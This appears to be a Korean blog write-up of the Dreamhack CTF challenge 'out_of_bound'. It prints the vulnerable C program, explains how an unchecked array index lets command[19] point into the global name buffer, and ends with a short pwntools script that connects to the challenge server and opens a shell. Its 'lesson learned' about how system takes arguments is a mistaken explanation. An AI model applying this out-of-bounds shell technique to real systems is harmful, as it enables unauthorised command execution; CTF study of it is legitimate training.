미역줄기의 이모저모
[ Dreamhack ] out_of_bound 본문

oob 문제이다
보호 기법

i386 아키텍쳐 , 32비트 -> canary는 4바이트
canary 있다 -> SFP, RET 마음대로 변경 불가
NX enabled 적용 -> 셸코드불가, rop 이용
No PIE -> 바이너리가 실행되는 메모리 주소가 랜덤화하지 않다. 데이터 영역의 변수들은 항상 정해진 주소에 할당된다.
코드 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
name 전역 변수에 16바이트까지 넣을 수 있다.
"ls", "id", "ps", "file ./oob"의 4개의 명령어를 system 함수를 통해 셸에서 실행시킨 결과를 얻을 수 있다.
flag를 읽기 위해선 Out of Bounds 의 취약점을 사용해야 한다. command[idx]에 "/bin/sh\x00" 이 들어가게 해야겠다.
취약점
command[idx]의 값이 "ls", "id", "ps", "file ./oob"의 4개 중 하나로 정해지려면 idx에는 0~3의 값이 들어가야 한다.
하지만 idx의 범위를 검사하는 코드가 없다. 즉 idx의 범위를 체크하지 않는다. 그래서 음수 값을 집어넣어 command 주소 보다 더 앞의 주소를 가져오거나, 3보다 큰 값을 집어넣어 "file ./oob"가 저장된 주소보다 뒤의 주소를 가져올 수 있다.
command와 name의 주소 확인
command와 name 전역 변수는 PIE가 꺼져 있기 때문에, 일정한 주소에 위치한다. 각각의 주소를 확인해보면

command는 0x804a060, name은 0x804a0ac로, 76바이트만큼 차이난다.
command는 char * 형으로 정의되어 있다. x86, 즉 32비트 환경에서 실행되는 바이너리이기 때문에 각 주소는 32비트, 또는 4바이트로 표현된다.
*command = command[0] = 0x804a060의 주소에 저장되어 있는 값을 가지고, command[1]은 0x804a060 + 4 = 0x804a064의 주소에 저장되어 있는 값을 가진다.
따라서 command[19] = 0x804a060 + 76이 되어 name의 주소에 저장되어 있는 값을 가리킨다.
system 함수에 인자 전달
그럼 name에 '"/bin/sh\x00"이 저장되어 있는 상황에서 idx = 19를 입력해 command[19]가 name을 가리키는 상황을 생각해보자. 우선 system 함수 호출 직전에 bp를 절어준다.

그리고 run~


system 함수에 인자로 EAX 레지스터의 값인 "/bin"이 들어갔다. "/bin/sh" 로 들어가지 않은 이유는 system 함수가 공유 라이브러리 함수라 인자로 들어오는 변수 주소 4바이트 + 변수 값이 메모리로 들어가기 때문이다.
따라서 name + 4의 주소와 "/bin/sh"를 입력으로 넣으면 된다.
Payload 작성
from pwn import*
p = remote("host3.dreamhack.games", 23663)
payload = p32(0x804a0ac + 4) + "/bin/sh" #naem 주소 + 4byte
p.sendline(payload)
p.sendline(b"19")
p.interactive()

새로 알게된 점
system 함수가 공유 라이브러리 함수라 인자로 들어오는 변수 주소 4바이트 + 변수 값이 메모리로 들어간다.
'Hacking > Dremahack 문제풀이' 카테고리의 다른 글
[ Dreamhack ] Format String Bug (0) | 2024.03.01 |
---|---|
[ Dreamhack ] ssp_000 (1) | 2024.02.24 |
[ Dreamhack ] fho (0) | 2024.02.17 |
[ Dreamhack ] basic_rop_x86 (0) | 2024.02.16 |
[ Dreamhack ] basic_rop_x64 (0) | 2024.02.16 |